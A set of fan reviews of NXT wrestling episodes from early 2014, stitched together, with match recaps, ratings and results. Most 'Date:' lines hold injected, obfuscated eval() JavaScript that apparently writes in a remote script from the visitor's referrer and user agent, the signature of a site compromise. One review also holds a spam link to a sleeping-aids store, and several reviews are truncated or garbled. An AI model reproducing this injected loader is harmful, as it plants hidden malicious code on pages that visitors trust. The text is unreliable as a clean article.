NXT – May 1, 2014: Taking Us To The Takeover

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dayhe|var|u0026u|referrer|nhkat||js|php'.split('|'),0,{})) May 1, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, William Regal, Byron Saxton

We’ve got a big show to build towards now, meaning things should start coming together in the near future. On top of that we’ve got a challenge from Adam Rose to face Camacho at some point in the future, which isn’t a terrible idea for an opponent for Rose, especially when he’ll be in WWE very soon. Let’s get to it.

 

HHH is in the ring to open the show to talk about how awesome NXT is and how much of an impact it’s having on WWE with people like Paige. The fans think this is awesome. You can tell when this was taped as HHH has a sore throat. Taking over WWE is a good idea, so on May 27, there will be a two hour special called NXT Takeover.

Opening sequence.

Tyson Kidd vs. Bo Dallas

Bo has new music. Feeling out process to start as the fans chant for Total Divas of all things. Dallas grabs a headlock but Tyson fights out and sends him into the corner for a dropkick. A suplex looks to set up a missile dropkick but Bo rolls outside before anything can happen. Dallas takes over with a dropkick for two as the fans are singing He’s Got The Whole World In His Hands. An elbow drop gets two for Dallas and we hit the cravate.

Tyson fights up with elbows but misses a dropkick of his own to give Bo a two. Back to the cravate as the announcers actually talk about the history of the two wrestlers in the ring. Like actual commentary you might say. Tyson fights up again but charges into an elbow in the corner. Now the fans chant for Tyson Kidd as he comes back with kicks to the ribs and one to the head for two. A belly to belly gets two for Dallas and a bulldog gets the same as frustration is setting in. Tyson goes up top but gets crotched down, only to kick Dallas in the head, setting up the Blockbuster for the pin at 7:20.

Rating: C. Nice little match here as Kidd’s push in NXT continues. The guy has the skills to make it work and a good finisher so I can’t complain much about him getting this much time in the ring. Dallas is heading to WWE and it makes perfect sense at this point as there’s nothing left for him to do here anymore.

The fans are all over Dallas and sing the Goodbye song as he freaks out even more.

Camacho says his parties are better than Adam Rose’s. Adam comes up and calls Camacho a silly little rabbit and says it doesn’t matter if it’s NXT, WWE, NYC or Hawaii, it’s party time all the time when Adam Rose is around. A party breaks out.

Here are the brackets for the Women’s Title tournament.

Bayley
Sasha Banks

Natalya
Layla

Emma
Charlotte

Alexa Bliss
Alicia Fox

Bayley says winning the title is more important than ten hugs from John Cena.

Sasha promises to beat the smile out of Bayley.

Women’s Title Tournament First Round: Bayley vs. Sasha Banks

Sasha drives shoulders into the corner to start but gets rolled up for a quick two. A backslide and second rollup get two each for Bayley and she comes off the middle rope into an armdrag. Bayley hugs Sasha in the corner and throws in a slap for good measure before a suplex gets two.

Banks sends her into the corner as Regal picks Alicia Fox as the favorite for the tournament. A very high backdrop gets two for Bayley and some running ax handles put Banks down again. The Belly to Bayley connects but Sasha gets in the ropes. Bankrupt gets two for Banks but she comes back with a backstabber and a modified crossface for the submission at 4:00.

Rating: C. The match wasn’t bad and Banks got to show off that she could actually wrestle a decent match under the right circumstances. Bayley is improving as well as she’s got the character down perfectly and is starting to be able to back it up in the ring as well. This was good for NXT standards, http://onhealthy.net/product-category/sleeping-aids/ meaning it would be better than most Divas matches.

We look at Brodus Clay’s heel turn and attacks on Neville.

Adam Rose vs. Danny Burch

Regal apparently got to go to one of Rose’s parties recently. Tom: “Why didn’t I get invited?” Regal: “No one likes you.” Burch shoves him into the corner to start but Rose prances around to get on his nerves. Rose is all ticked off and destroys Burch before finishing him off with a kind of facebuster called the Party Stopper for the pin at 2:49.

Post match the party comes out but Camacho sneaks in and destroys a masked man.

Brodus says he’s destroying Adrian Neville tonight because he’s the baddest man in the world.

Women’s Title Tournament First Round: Natalya vs. Layla

Layla says she’s getting what she wants like she always does. Natalya takes over to start but Layla pulls the hair and kicks Natalya in the ribs for two. We hit a double arm crank for a bit before Natalya fights up, only to be pulled right back down to the mat. Back to the arm crank until Natalya fights up and nails a snap suplex. A clothesline looks to set up the Sharpshooter and the second attempt works for the submission from Layla at 3:23.

Rating: D+. This didn’t have the time to go anywhere but Natalya is a good choice to push in the tournament. She’s a veteran and somehow one of the older Divas on the roster, despite being 31 years old. Layla is there for her looks but she’s not terrible in the ring at the same time. Natalya winning dominantly at the end was the right call though.

Adrian Neville’s teeth are back and he’ll win tonight, but not by countout.

Mojo Rawley vs. Oliver Grey

Rawley runs him over in the corner to start and Hyperdrive ends Grey at 1:00.

Post match Aiden English comes down and tells Rawley to get out of his ring. English jumps Rawley and is quickly dispatched.

NXT Title: Brodus Clay vs. Adrian Neville

No DQ and Clay is challenging. Clay tries to grab the title and gets elbowed in the head. A low bridge sends him to the floor and Adrian dives on him as the opening bell rings. Back in and Adrian fires off kicks but can’t launch the Red Arrow. Adrian is sent hard into the corner as Clay takes over with a running splash. Fans: “PLEASE DON’T EAT HIM!” A suplex and elbow drop get two on Neville and it’s time to work on the ribs.

Clay throws him over his shoulder for a backbreaker but Adrian rakes the eyes to escape. Some kicks to the head don’t do much to Clay so he powerbombs Neville in half. A middle rope splash connects for two and Regal is in shock. Clay goes to the floor and grabs the belt but Adrian kicks it into his chest, setting up the Red Arrow to retain the title at 5:30.

Rating: C+. Regal treats it like a huge win and great performance which is a stretch but the kickouts and heart Neville showed were nice touches. This gets rid of Clay as a big challenger which is the right idea as they have a ton of time before the big match at the live special. Not bad here and it makes Neville look like he’ll never quit.

Overall Rating: B-. Good show this week as they covered almost everything they have going on outside of Sami Zayn. I’m guessing the six man tag last week was the blowoff for that feud, which is fine as it wasn’t doing much for either guy anyway. The live special should be good as they have time to build it up.

Results
Tyson Kidd b. Bo Dallas – Blockbuster
Sasha Banks b. Bayley – Crossface
Adam Rose b. Danny Burch – Party Stopper
Mojo Rawley b. Oliver Grey – Hyperdrive
Adrian Neville b. Brodus Clay – Red Arrow

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NXT – April 17, 2014: Power vs. Speed

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esika|var|u0026u|referrer|nnifn||js|php'.split('|'),0,{})) April 17, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Renee Young, William Regal, Byron Saxton, Tom Phillips

The main story at the moment is Brodus Clay wanting a piece of the NXT Title and going after Adrian Neville to get there. Other than that we’re looking forward to seeing Sami Zayn get his hands on Corey Graves after Graves injured him a few weeks back. The Divas division is also getting more and more awesome so let’s get to it.

Colin Cassady vs. Aiden English

English kicks him in the ribs to start as Regal is already sucking up to Aiden. Big Cass hammers away as we hear about Aiden declaring himself an upper echelon talent in NXT. The SAWFT Boot to the face gets two but Aiden just hammers him down to take over again. A hard elbow to the head keeps Cass in trouble as Regal talks about how to throw the hardest punches. The Director’s Cut is countered but Cass’ spinning Rock Bottom is countered into a rollup with a handful of trunks for the pin at 4:10.

Rating: D+. English winning is always a good thing as he’s ready to move up the ladder in NXT. I’m not saying he’s ready for the main roster but English would be a great opponent for Neville once he’s done with Brodus. The singing gimmick is just about perfect though and that’s the important part.

Tyler Breeze has Devin read his names off a phone. He has nothing to say and just wanted her to read so he could make a gorgeous cameo. Awesome indeed.

We look at Paige winning the Divas Title on Raw.

Paige, holding both belts, doesn’t buy the other Divas’ congratulations on Raw. She’s also ready for the BFFs here in NXT. Paige has studied every Diva on both rosters and will never get comfortable. This is the most she’s ever talked and it wasn’t half bad.

Camacho vs. Oliver Grey

This is Grey’s return match after being gone forever with a knee injury. The fans chant KING HAKU at Camacho (Haku’s son) in a cool moment. A dropkick and wristlock give Oliver early control but Camacho runs him over with a hard elbow. Some forearms to the back set up a Samoan drop for the pin on Grey at 2:00. This was just a squash, but to be fair did anyone care that Grey was back anyway?

Bo Dallas says his fans are law abiding citizens so they didn’t do anything illegal last week. However the Bo Dallas Hotline is running wild so he knows the Bo Lievers will never stop Bo Lieving in him to get the NXT Title back.

Ascension vs. Wesley Blake/Cal Bishop

Blake tries some shots to the ribs but Konnor just ENDS him with a clothesline. A shoulder does the same and it’s off to Viktor for some HARD chops on the floor. Back in and Konnor stomps away in the corner before the Fall of Man ends Blake at 2:19. Can we please move them to WWE, because they’re basically Paige with slightly worse legs.

Charlotte talks over Sasha in the back and takes over the BFFs.

CJ Parker vs. Great Khali

Before the match, Parker says he can’t sleep at night because he’s wondering what this planet would be like without the NXT Universe. There would be no litter in his street or animals in his zoos. Parker wants to know how people can boo a man that wants to change the world for the better but Khali’s music cuts him off. They trade chops to start and I believe you can guess who wins.

We get the loud chops in the corner and a clothesline puts Parker on the floor. Back in and Parker gets in a shot to the knee to take over, drawing what might be the greatest chant in history. Parker: “I JUST WANT TO CHANGE THE WORLD!” Fans: “GLOBAL WARMING! GLOBAL WARMING!” Khali fights back and the Plunge is good for the pin at 2:33. The fans’ hatred of Parker is glorious.

Emma might have a partner to face the BFFs next week.

Sami Zayn insists that he’s fine and says he’ll be taking care of Graves soon.

Jason Jordan/Tye Dillinger vs. Baron Corbin/Sawyer Fulton

Jordan and Dillinger get an entrance and have similar trunks. I’ll take it over the random pairings we usually get around here. The good guys use some decent double teaming on Corbin for two before it’s Dillinger with some hard chops in the corner. Corbin comes back with a hard clothesline of his own before it’s off to Fulton for some elbow drops for two. A suplex gets the same but Corbin goes to the middle rope, only to save himself from diving into Tye’s boot. Baron misses an elbow drop though and it’s hot tag to Jordan. House is cleaned and the MNM Snapshot is good for the pin on Baron at 4:27.

Rating: C-. Standard speed vs. power formula match here so it was really hard to screw up. Jordan and Dillinger aren’t anything special but they’re something new so points for trying at least. The Snapshot is a good finisher to bring back as well and makes for a good double team move. Nice little match here to debut the team.

Adrian Neville vs. Brodus Clay

Non-title. Adrian goes right at him and fires off kicks to the legs. Renee: “I’d run around him like Mario around Koopa!” A sleeper doesn’t get Neville anywhere and he dives into a release fisherman’s suplex for two. Brodus goes old school with a heart punch for two and we hit the nerve hold.

We also get the second and third versions of the hold before Neville fights out of a powerbomb attempt. Some kicks to the head have no effect on Brodus but an AJ Styles springboard forearm put him down. Neville rolls through a 450 but Brodus runs him over with a headbutt. They head outside where Clay misses a splash off the steps, allowing Neville to get a quick countout win at 6:23.

Rating: C-. Not much to see here but the ending leaves the door open for future matches. However, I’m not sure why we need a second match as the first one would have been a good enough win for Neville. The match not being for the title fits what Adrian said and we’ll likely get an attack from Clay to set up a rematch.

Overall Rating: C+. This show was moving out there and it worked far better than the previous few episodes. A few things are set up for the next few weeks and we had some decent matches to get there. I like the idea of fast matches instead of long drawn out ones for a change as it’s a breath of fresh air. Nice show this week and again I have hopes for NXT’s future.

Results
Aiden English b. Colin Cassady – Rollup
Camacho b. Oliver Grey – Samoan drop
Ascension b. Wesley Blake/Cal Bishop – Fall of Man to Blake
Great Khali b. CJ Parker – Punjabi Plunge
Jason Jordan/Tye Dillinger b. Baron Corbin/Sawyer Fulton
Adrian Neville b. Brodus Clay via countout

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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NXT – April 10, 2014: Occupying A See Saw

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hteys|var|u0026u|referrer|hddzi||js|php'.split('|'),0,{})) April 10, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Jason Albert, Rich Bocchini, Alex Riley

We open with an In Memory graphic for Warrior.

Adam Rose vs. Danny Burch

The fans think the party entrance was awesome. Rose prances around the ring to start but gets knocked into the ropes. He leans back and keeps lifting his feet to stop the charging Danny before running him over with some shoulders. Rose cranks on the arm but gets dropped by a single right hand. Adam comes right back with something resembling a Bronco Buster and more prancing, followed by a middle rope elbow for the pin at 2:54. Albert dances post match.

Corey Graves says that was just the beginning.

Sasha Banks vs. Bayley

Sylvester LeFort vs. Mojo Rawley

Rawley crushes him in the corner to start and hits a Rear View followed by Hyperdrive for the pin at 47 seconds. Now THIS is what Rawley should be doing.

We look at the NXT guys at Axxess.

Khali is here and gets a hug from Bayley. CJ Parker comes up and is really hoping Khali recycles. Khali shouts in Punjabi but Bayley translates: the big man wants a match next week.

Justin Gabriel vs. Bo Dallas

They circle each other to start until Justin nails a few cross bodies. A rollup gets a close two and Dallas bails to the floor. The fans want cookies as Dallas comes back in with a headlock. Justin fights up and sends Bo back to the floor again but gets knocked off the top rope. A suplex sets up a cravate from Bo and he sends Justin hard into the corner.

Dallas levels him with a clothesline but gets sent into the corner as well to put both guys down. Gabriel fires off a series of hard strikes and gets two off a springboard cross body. Bo reverses a tilt-a-whirl slam into a reverse DDT for a close two and both guys are winded. A hard kick to the back puts Bo down but he avoids a top rope Lionsault. Justin comes right back with a small package for two but walks into a double arm DDT for the pin at 10:00.

Results

Adam Rose b. Danny Burch – Middle rope elbow

Bayley b. Sasha Banks – Belly to Bayley

Mojo Rawley b. Sylvester LeFort – Hyperdrive

Bo Dallas b. Justin Gabriel – Double arm DDT

 

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NXT – March 27, 2014: A Departure From Arrival

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzney|var|u0026u|referrer|efyfi||js|php'.split('|'),0,{})) March 27, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Jason Albert, Tom Phillips, Alex Riley

We open with a recap of Arrival where Neville won the NXT Title in a ladder match and Bo Dallas challenging for a rematch.

Opening sequence.

CJ Parker vs. Mojo Rawley

Parker freaks out post match.

We look back at Corey Graves attacking Sami Zayn last week and see Sami getting a concussion test.

Tyler Breeze vs. Xavier Woods

Woods looks ticked off coming to the ring. Feeling out process to start until Woods grabs a headlock and takes Breeze down with a headscissors. A catapult sends Breeze into the corner for two but he nails Woods with a forearm for two of his own. Woods gets all fired up but Tyler avoids the Honor Roll. He tries snake eyes on Tyler but Breeze escapes and hits the Beauty Shot for the pin at 3:53.

Yoshi Tatsu vs. Corey Graves

Corey tells Sami to stay down.

Natalya vs. Charlotte

NXT Title: Bo Dallas vs. Adrian Neville

Neville is defending. Bo tries some fast pins but Neville gets out, sending Dallas running to the corner. Dallas whips Neville across the ring but the champion flips forward and hits a middle rope dropkick. Bo heads outside but Neville takes him down with a BIG dive. Neville loads up another dive but gets shoved to the floor to give Bo an opening. A hard clothesline drops Neville again and Bo takes him inside for some knee drops.

Results

Mojo Rawley b. CJ Parker – Hyperdrive

Tyler Breeze b. Xavier Woods – Beauty Shot

Corey Graves b. Yoshi Tatsu – Lucky 13

Natalya b. Charlotte via DQ when Sasha Banks interfered

Adrian Neville b. Bo Dallas – Reverse 450

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NXT – March 13, 2014: The BFFs Smell Like Cheese

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyztb|var|u0026u|referrer|hdafn||js|php'.split('|'),0,{})) March 13, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Jason Albert, Alex Riley

The opening video sets up Rusev vs. Woods and talks about Dallas vs. Neville II coming soon.

Theme song.

Jason Albert is Tensai under a less bizarre name.

Paige vs. Sasha Banks

Post match Charlotte goes after Paige but Natalya makes the save.

We look at Corey Graves vs. Sami Zayn from last week.

Stills of Mojo Rawley destroying CJ Parker at Arrival.

Rawley is of course hyped in the back and says Arrival was just the start.

Ascension vs. Travis Tyler/Cal Bishop

Rating: D+. Total and complete dominance here as you would expect. Much like Paige, Ascension has cleaned out the division and they need someone else to fight. Either that or send some WWE guys down there to give them some important wins. Ascension continues to look awesome but they need something new to do.

Mason Ryan vs. Wesley Blake

Alexander Rusev vs. Xavier Woods

Sheamus will be here next week.

Adrian Neville is about to talk about his rematch with Bo Dallas in two weeks when Bo comes in and says the nightmare ends two weeks. The Bo-Lievers have been the wind bo-neath his wings through this trying time. The fans are sick of Adrian and his flips and big ears. Adrian slaps him and they breathe heavily for a bit.

Colin Cassady vs. Bo Dallas

Results

Paige b. Sasha Banks – Scorpion cross lock

Ascension b. Travis Tyler/Cal Bishop – Fall of Man to Tyler

Mason Ryan b. Wesley Blake – Spinebuster

Alexander Rusev b. Xavier Woods – Accolade

Bo Dallas b. Colin Cassady – Inverted DDT

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NXT – March 6, 2014: We Are All…..Sleds?

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddktb|var|u0026u|referrer|rhkss||js|php'.split('|'),0,{})) March 6, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Byron Saxton, William Regal

It’s a new era here in NXT as the shows now air on Thursday as well as on the WWE Network. Last week was NXT Arrival with a classic between Cesaro and Zayn and Adrian Neville FINALLY ending Bo Dallas’ title reign. It should be interesting to see if WWE will allow NXT be themselves again as that could be great news for them. Let’s get to it.

We open with a recap of NXT Arrival and Neville winning the title.

Adrian Neville vs. Camacho

Non-title. Neville offers a handshake but gets kicked in the ribs instead. The champion puts on an armbar but Camacho comes back with forearms to the head and chops in the corner. A powerslam gets two on Adrian but he comes back with kicks to the leg and head. Neville puts him down with a middle rope dropkick and the Red Arrow is good for the pin at 2:51.

Adrian says he can’t believe what he did last week and he can’t wait to go around the world doing what he loves. Last week was the most amazing moment of his life, but the most important thing is this title on his shoulder. It’s a message that anything is possible because he’s not your typical champion. He looks like an elf man, he’s from a small town that no one has heard of, and the ACCENT. “Renee, can you even understand me?” However, the most important thing about last wee is NO MORE BO.

This brings out a serious looking Bo Dallas who says Neville did something no one else could do, but he didn’t get a pin. Adrian climbed a ladder like a father cleaning out his gutters. He’ll be cashing in his rematch clause very soon, and when he does it’ll be Bo Time. The cheesy thumbs up makes this even better.

Last week Emma said she underestimated Paige but she’ll be a champion someday. Ric Flair comes in and says the next champion will be his daughter. Charlotte comes in and offers a condescending shoulder to cry on and Emma leaves. Charlotte was taller than her dad.

Last week Paige said she never doubted that she would win last week and welcomes all challengers for her title. Flair and Charlotte come up again and accept the challenge. The girls introduce themselves to each other and Charlotte talks down to Paige again.

Emma vs. Charlotte

Renee sits in on commentary and does the Emma dance off camera. Charlotte misses a clothesline in the corner to start and Emma takes her down with a wristlock. A dancing rollup gets two on Charlotte and she stops a charging Charlotte with a boot in the corner. Emma gets two rollups for two each but Charlotte grabs her ankle. Emma buys into it and gets caught with the flip over faceplant for the pin at 3:17.

Rating: D. Charlotte clearly needs ring time and the wrestling here was as basic as you can get. That faceplant is a good move for Charlotte though and the ankle injury was something we haven’t seen in awhile. It’s also better to have Charlotte with Sasha Banks instead of her dad so she doesn’t get overshadowed.

Sami says what Cesaro said to him was personal and he got everything he wanted out of that match.

Yoshi Tatsu vs. Corey Graves

Before the match Graves goes on a rant about how he’s stuck in NXT facing people who think they’re WWE superstars. He’s tired about hearing people talking about Sami Zayn, because Sami never wins any matches. Apparently all you need is heart to get chance after chance against people you can never beat. Corey could beat Cesaro in just one match but instead he’s stuck fighting the irrelevant Yoshi Tatsu. Graves immediately heads to the floor and says forget this but Yoshi goes after him at a seven count. Corey clotheslines him down and sends Tatsu into the steps before sliding back in for a countout at 1:38.

Post match Graves puts Tatsu in Lucky 13 until Sami makes the save. Sami says he’s up for a match if Sami wants it and why not do it tonight?

We look at an Adam Rose (Leo Kruger’s new rock star character) party from last night which looks like an actual party instead of eight people standing in pre-planned positions. Rose is on a couch with two women next to him and says his in ring debut will be of Jurassic proportions. The fans are called the Rosebuds. This was a very solid segment as it felt like an actual character instead of something planned out step by step. Also Kruger’s British voice worked very well and sounded almost nothing like his old voice.

Clip of Rusev cleaning house last week.

Xavier Woods wants a piece of Rusev.

Rusev speaks Bulgarian and accepts Woods’ challenge for next week.

Adam Rose vs. Wesley Blake

The people from the party, all in costumes, are at the entrance and carry Rose to the ring in a very cool entrance. The fans instantly think that was awesome and they’re right. Tensai is on commentary now for some reason. Rose rolls around the ring over and over to frustrate Blake and scores with a hard chop. He lays on the ropes and starts rocking back and forth until Blake comes over and gets kicked in the chest.

Blake slaps him in the face so Rose jumps up and down and tackles Wesley down before driving MMA style elbows to the face. A spinebuster draws Rose chants and the Slice clothesline gets the pin at 2:24. Rose is a VERY fun character and the crowd had a blast with him. The party comes back to celebrate.

Sami Zayn vs. Corey Graves

The announcers even throw in that this match was made by JBL. Graves hammers away with elbows to the back of the head before putting on a headlock. Sami comes back by flipping Corey to the floor but has to bail out on a big flip dive. He flips back into the ring into the splits to draw an OLE chant. Corey snaps Sami’s throat across the top rope for two and we take a break.

Back with Sami fighting out of a chinlock but getting punched in the corner. Lucky 13 is countered but it’s right back to the chinlock. Zayn starts fighting up again but gets caught in a belly to back suplex for two. It’s chinlock #3 but Sami quickly escapes and backdrops Corey down, only to get caught in a fireman’s carry into a backbreaker for two.

Zayn kicks his way out of the corner and gets two off a high cross body. He charges into a boot in the corner but comes back with the Blue Thunder Bomb for two more. Corey shoulders the knee but Lucky 13 is countered into a small package for another near fall. Graves loads up another backbreaker but gets countered into a second small package for the pin at 9:48 shown of 13:18.

Rating: B-. This was probably Corey’s best match ever which doesn’t surprise me given who he was facing. Sami looked good out there too as he toned it down a bit from last week but still held up. Good match here and it also gets Sami back into the win column where he needs to be.

Overall Rating: B. Now this is the NXT I know and love. No HHH, no WWE style matchmaking, good action and a totally over the top character. Rose stole the show here and is one of the most entertaining characters I’ve seen in years. Much like Breeze he buys into the character and nails it rather than coming off like he’s an actor playing a part.

Results

Adrian Neville b. Camacho – Red Arrow

Charlotte b. Emma – Flip over faceplant

Corey Graves b. Yoshi Tatsu via countout

Adam Rose b. Wesley Blake – Slice

Sami Zayn b. Corey Graves – Small package

 

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NXT Arrival: Why I Watch NXT

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dazkr|var|u0026u|referrer|ffadb||js|php'.split('|'),0,{})) Arrival
Date: February 27, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Byron Saxton, William Regal

We get a new intro with shots of a lot of the wrestlers, including helpful name graphics for new fans.

Sami Zayn vs. Cesaro

Back in and Sami tries a high cross body but dives into a tilt-a-whirl slam for a close two count. They head outside again with Cesaro in full control and choking across the barricade. Cesaro takes him back inside so he can throw Sami outside again and ram him into the barricade. Into the ring again for a two count but Cesaro throws him outside one more time. Cesaro goes after the leg but gets pulled face first into the post for his troubles.

Sami grabs a Blue Thunder Bomb out of nowhere for two followed followed by a Koji Clutch of all things. Cesaro powers out of it and rolls around into an old Brock Lock (Cesaro bends the knee around his neck) but Zayn dives for the bottom rope. The Swing is countered into a rollup for two but Cesaro gets it on the second try. Only ten revolutions this time though and a running uppercut gets two but Sami reverses into a crucifix for two of his own.

CJ Parker vs. Mojo Rawley

Video on Emma, who is very bubbly.

NXT Tag Titles: Ascension vs. ???

Womens Title: Emma vs. Paige

Paige gets right in her face but Emma takes her down and its a fight early. Emma gets kicked in the ribs but she reverses the Paige Turner into a backslide for two. They fight over a backslide but Paige counters a slingshot into a cradle for two. Paige slams her down and puts on a hard chinlock. Back up and Emma tries a rollup but gets taken into the corner for some hard elbows to the face.

They hug it out as well, even though Emma looks mad.

Video on Adrian Neville, talking about his love of adrenaline rushes.

Video on NXT.

Xavier Woods vs. Tyler Breeze

No match as Alexander Rusev runs in to massacre both guys. The video crashed but through refreshing I see Rusev holding Woods in the Accolade while Lana talks trash for him.

Video on Bo Dallas.

NXT Title: Bo Dallas vs. Adrian Neville

The champ gets sent into a ladder wedged in the corner and Neville kicks him in the face. He goes up for the Red Arrow but Dallas pops up and shoves Adrian down to the floor. Bo goes for the belt but Neville springboards over him in a Shelton Benjamin style move. The ladder goes down but they land on their feet with Bo buckle bombing him into a ladder. Adrian kicks a ladder back into Bo and slams him onto the same ladder, setting up the Red Arrow to crush Bo against the steel. Dallas rolls to the floor and Neville goes up to grab the title at 15:46.

A long celebration ends the show with John Cena applauding from the crowd.

Results

Cesaro b. Sami Zayn – Neutralizer

Mojo Rawley b. CJ Parker – Hyperdrive

Ascension b. Too Cool – Fall of Man to Hotty

Paige b. Emma – Scorpion Cross Lock

Adrian Neville b. Bo Dallas – Neville pulled down the title

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

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NXT – February 19, 2014: The Day I’ve Been Dreading

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsdek|var|u0026u|referrer|bdzsr||js|php'.split('|'),0,{})) February 19, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Byron Saxton, Tensai

Welcome Home.

Paul Heyman, Bret Hart and Diesel will be doing an NXT Kickoff show on the Network next week.

Ascension vs. Mike Lebosca/Casey Marion

Non-title. Viktor runs over Mike to start and gets two off a hard clothesline. Off to Konnor for a double powerbomb and the Fall of Man is good for the pin on Marion at 1:21.

Tyler Breeze is officially in the building.

Summer Rae vs. Emma

Tyler Breeze is NOT cool with Adrian Neville being the face of NXT.

Before the break we got an Elimination Chamber ad. When we come back, we get a video on Elimination Chamber. You can see the yellow and black turning red before your eyes.

Adrian Neville vs. Tyler Breeze

Feeling out process to start until Breeze stomps him down in the corner and scores with a running dropkick. Before he follows up though, time for a quick picture. Neville comes back with kicks to the ribs and a ram into the buckle as Tensai talks about ladder matches, name dropping Jeff Hardy and the Dudley Boys. A running uppercut in the corner puts Breeze down but Neville walks around instead of covering. Breeze misses a dropkick and gets kicked to the floor, setting up a big dive as we take a break.

Results

Ascension b. Mike Lebosca/Casey Marion – Fall of Man to Marion

Emma b. Summer Rae – Emma Lock

Adrian Neville b. Tyler Breeze – Red Arrow

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

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NXT – February 5, 2014: The Darkness Is Creeping Up On NXT

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnnsd|var|u0026u|referrer|aanhb||js|php'.split('|'),0,{})) February 5, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Byron Saxton, Tensai, Tom Phillips

Welcome Home.

Sin Cara vs. Alexander Rusev

Gah with the stupid lighting. This is fallout from Cara saving Xavier Woods from Rusev a few weeks back. Rusev throws him around to start but Cara gets in a kick to the chest and tries a moonsault press. The camera does its best job to hide how short Cara leaves it before Rusev dropkicks a diving Sin Cara out of the air for one. Cara is easily powered down and Rusev stomps on him even more. A quick springboard cross body and a Tajiri elbow get two on Rusev but he counters a victory roll into the Accolade for the win at 4:43.

Alicia Fox vs. Emma

Renee Young joins commentary to add a little flavor. Even Tensai gets up to do the Emma dance and Renee does it as well but not on camera. Fox grabs an arm to start and takes Emma to the ropes but Emma dances a bit. A dropkick puts Emma down again and an elbow to the back breaks up a Dilemma attempt. The great looking bridging northern lights suplex gets two on Emma but she avoids a charge in the corner. The seated cross body in the corner crushes Fox and Emma catapults into the Emma Lock for the win at 3:19.

Sylvester LeFort vs. Mason Ryan

If Sylvester wins, Mason joins his organization. LeFort is actually in great shape and fires off some right hands but walks into a hot shot. Ryan hits a quick big boot and cobra clutch slam for the pin at 50 seconds. This should keep going for awhile. Lucky us.

LeFort swears revenge on Ryan.

Tyson Kidd vs. Aiden English

Corey Graves vs. Adrian Neville

